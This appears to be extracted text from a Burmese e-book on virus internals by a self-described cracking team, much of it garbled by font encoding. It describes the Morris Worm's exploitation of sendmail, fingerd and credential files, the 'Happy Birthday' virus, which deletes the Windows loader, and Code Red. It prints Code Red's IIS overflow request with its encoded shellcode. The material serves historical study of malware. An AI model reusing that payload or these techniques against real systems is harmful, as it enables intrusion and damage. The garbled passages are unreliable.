tm; yxrqHk; Worm tjzpfowfrSwfEdkifNyD; uGef,ufvHkNcHKa&;ESifh UNIX tajcjyKpufvnfywfrI
pepfrsm;\ tm;enf;csufrsm;ESifhywfoufNyD; BuD;rm;aomtm½HkpdkufrIcHcJh&onfh yxrqHk;aom Worm
vnf;jzpfayonf/ Worm onf Sun Micorsystem \ Sun 3 pepfrsm;ESifh 4BSD Unix rsm;toHk;jyKaom
VAX uGefysLwmrsm;udk ul;pufcJhavonf/ UNIX pepfwGifoHk;aom Sendmail y½dk*&rf\tm;enf;csuf
rSwqifh wdkufcdkufcHcJh&jcif;jzpfonf/ Morris Worm udk Cornell wuúodkvfwGif zefwD;cJhjcif;jzpfaomf
vnf; ¤if;\ZmpfjrpfudkzHk;uG,f&eftwGuf MIT wuúodkvfwGif pwifjzefYcsDcJhonf/
10/ Worm onf Solaris ESifh BSD pepfrsm;&Sd rsh? fingerd ESifh sendmail wdkY\tm;enf;csufrS
wqifh wkdufcdkufcJhonf/ Worm u uGefysLwmtopfonf ul;pufEdkifaMumif; od&SdcJhaomf uGefysLwm
topfqDodkY zdkifrsm;udkydkYavonf/ Worm \tpysdK;rItydkif;wGif ¤if;onf pepfwGif tvkyfvkyfcsdefü
¤if;tm;pHkprf;jcif;rS umuG,f&eftwGuf enf;vrf;rsm;pGmudk aqmif½Gufavonf/ yxrqHk;taejzifh
¤if;\ Argument udk sh [kowfrSwfavonf/ sh onf Born Shell ESifh Process trnfwlnDavonf/
¤if;onf UNIX tajcjyKpepfrsm;wGif awGYaeMu Command Shell wpfckjzpfNyD; tu,fí uGefysLwm
oHk;pGJolrS tvkyfvkyfaeaom Process rsm;pm&if;udk zGifhMunfhvQifyif ¤if;taejzifh owdxm;rdrnf
r[kwfay/ tvm;wl Worm \ Core Dump onf 0 Byte jzpfonf/ xkdYaMumifh Worm onf Crash
jzpfcJhvQif (odkY) Crash jzpfatmif zdtm;ay;cH&vQifyif Worm udk rnfonfhtcsdefrQ awGYEdkifrnfr[kwf
ay/ Worm onf vuf&SdtcsdefudkzwfNyD; aemifwGif usyef;*Pef;rsm; xkwf&eftwGuf ¤if;tcsdefudk
odrf;xm;avonf/
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 44
11/ Worm onf NyD;jynfhpHkpGm tvkyfvkyfEkdif&eftwGuf Object zdkifrsm;udk ul;wif&efBudKpm;av
onf/ Worm onf -p Command Line Argument jzifhtvkyfvkyfEdkifNyD; ¤if;onf zdkifrsm;udkul;wifNyD;
aemuf xdkzdkifrsm;udkzsufap&eftwGuf toHk;jyKjcif;jzpfonf/ aemufydkif; rSwfOmPfwGif; tvkyfvkyf
csdefü Disk ay:&Sd rdrdudk,fudkyif jyefzsufavonf/ Worm onf ¤if;aemufxyf toHk;jyK&efrvdkawmh
aom /tmp/.dumb zdkifudkvnf;zsuf&ef BudK;pm;avonf/ tu,fí Object zdkifrsm;xJrS wpfckckudk
ul;wif&ef ratmifjrifcJhvQif? tjcm;pepfrsm;odkY ul;puf&eftwGuf toHk;jyKaom l1.c zdkifudk ul;wif
jcif;rjyKEkdifcJhvQif Worm \tvkyfvkyfjcif; &yfoGm;rnfjzpfonf/ Worm onf Argument Array xJ&Sd
pmom;rsm;udkzsufypfNyD; ¤if;wnf&SdrIudk zkH;uG,favonf/
12/ Worm onf Network Interface rsm;ESifh ¤if;wdkY\ Flag rsm;? Address rsm;udk ppfaq;av
onf/ tu,fí wpfckrSrawGY&SdcJhaomf tvkyfvkyfjcif;&yfoGm;rnfjzpfygonf/ Worm onf Local
Area Network (LAN) rStoHk;jyKaeaom IP Address rsm;udkod&SdEkdif&ef Network Mask udktoHk;jyK
avonf/ ¤if;aemuf -p jzifh Process udkydwfrnfjzpfonf/ þvkyfaqmifcsufrsm;onf Worm \tp
ysdK;rIomjzpfNyD; þvkyfaqmifcsufrsm;NyD;pD;aomf ¤if;\t"duvkyfaqmifcsufudk ac:,lcdkif;apavonf/
13/ Worm \ t"duvkyfaqmifrItydkif;taejzifh pepfwpfckudk ul;pufNyD;aemuf Worm onf
xyfrHul;puf&eftwGuf vufcHuGefysLwmrsm;udk &SmazGrnfh Cracksome [laom Routine wpfckudk
tvkyfvkyfapygonf/ xdkYaemuf Worm onf 30puúefYtcsdeftwGuf tjcm;aom Routine wpfckjzpf
onfh other_sleep udkvkyfaqmifapygvdrfhrnf/ Worm onf Cracksome udkxyfrHtvkyfvkyfapNyD;
Child Process ESpfckudkcGJxkwfum Parent Process udkydwfypfygonf/ Child Process wGif Parent Process
ü&Sdaomtcsuftm;vHk;yg&SdNyD; Child wGif Worm udk&SmazG&cufaprnfh Process eHygwftopf&Sdav
onf/ Worm onf ul;pufcHxm;&aom Process rSwqifhtvkyfvkyfavonf/ xdkYaemuf Worm onf
other_sleep udk 120puúefYMum xyfrHtvkyfvkyfavonf/ Worm onf 128.32.137.13 (ernie.berkeley.
edu) \ Port 11357 qDodkY 1 Byte ydkY&efBudK;pm;avonf/ odkYaomf ¤if;onf UDP udkoHk;&rnfhtpm;
TCP command udkoHk;cJhonfhtwGuf ay;ydkYjcif;atmifjrifrIr&SdcJhyg/ tu,fí Worm onf 12em&D
ausmf tvkyfvkyfcJhaomf ¤if;onf ¤if;\vufcHvdyfpmrsm;xJrS tcsdKUudk &Sif;vif;ypfavonf/ Worm
onf pleasequit Variable udkppfaq;NyD; tu,fí ¤if;\tbd"mefzdkifrsm;rS pum;0Suf 10vHk;xuf
ydkNyD;toHk;jyKcJhvQif tvkyfvkyfjcif;udk &yfqkdif;avonf/
14/ Cracksome Routine tydkif;wGif Morris Worm onf tjcm;aompepfrsm;udk ul;puf&ef
&SmazGNyD; tm;enf;aompum;0Sufrsm;udk azmf&efBudK;pm;avonf/ Worm onf uGefysLwmpm&if;xJrS
wpfckudk ul;puf&eftwGuf /etc/hosts.equiv zdkifrSwqifh zwfavonf/ aemufydkif;wGif ul;pufEdkif&ef
twGuf /.rhosts xJ&Sd 'kwd,pm&if;udk &SmEdkifygao;onf/ Worm onf uGefysLwmxJ&Sd uGefysLwmoHk;pGJ
olrsm;pm&if;ESifh ¤if;wdkY\0Sufxm;aompum;0Sufrsm;yg0ifonfh /etc/passwd zdkifudkzwfNyD; vHkNcHKa&;tm;
enf;csufudk tcGifhaumif;,lygonf/ xdkYaemuf Worm onf tjcm;uGefysLwmrsm;udk Forward ar;vf
ydkY&efESifh aemufxyfwdkufcdkufrnfh uGefysLwmrsm;\wnfae&mudk od&Sd&eftoHk;jyKonfh yk*¾dKvfa&;qdkif&m
.forward zdkifrsm;udk&Sm&eftwGuf /etc/passwd zdkifudktoHk;jyKavonf/
yHk(18) D
Deface vkyfcHxm;&onf
x h t wmeufppmrsufESm
tif
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 52
35/ CodeRed onf Server ü TCP Port 80 wGif GET /default.ida Request jzifha&muf&SdvmNyD;
Request wGif Microsoft's Internet Information Server (IIS) \ tm;enf;csufudk wdkufcdkufaomuk'f
yg&SdNyD; Worm udk IIS Server wGif;&Sduk'fudk tvkyfvkyfapavonf/ ¤if;onf rSwfOmPfwGif;wGifom
vHk;0tvkyfvkyfNyD; Disk ay:wGif &SmrawGYEdkifay/ yHk(19)/ ¤if;\uk'fzdkift½G,ftpm;onf 3569 Bytes
&Snfvsm;avonf/
GET
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNN NNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090
%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u5
3ff%u0078%u0000%u00=a HTTP/1.0
yHk(26) Loikaw
L Adkif;&yf
& pf\ rdwfquf
q jcif; Diaalog Box
Happy BBirthday Adkif
if;&yfpf
15/ Happy Birthday Adkif i;&yfpfonf Windows ppwuf&mwGiiff ac:,ltoH ok;jyKonfh nntldr (NT
Loader) zdkifudkzsufypfavonf/ tvm;wl Windows R Registry ud
utoH
k k;jyKír&&atmif w
wm;qD;av
onf/ ¤¤if;aemuf uGefysLwmppwifcsdefwGif ¤if;y½dk*&rf & pwifwufvmap&eftwG t uf expplorcr.exe
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 64
trnfjzifh Registryudkjyifavonf/ Adkif;&yfpfonf C:\Windows\System32 Directory atmufwGif
explorcr.exe zdkiftrnfjzifh &Sdavonf/
This is a worm from Myanmar Student. Not from SG, made at Yangon.
Myanmar has many Hackers and Programmers. That is example number two.
Happy birthday is my first virus. Have a nice day admin.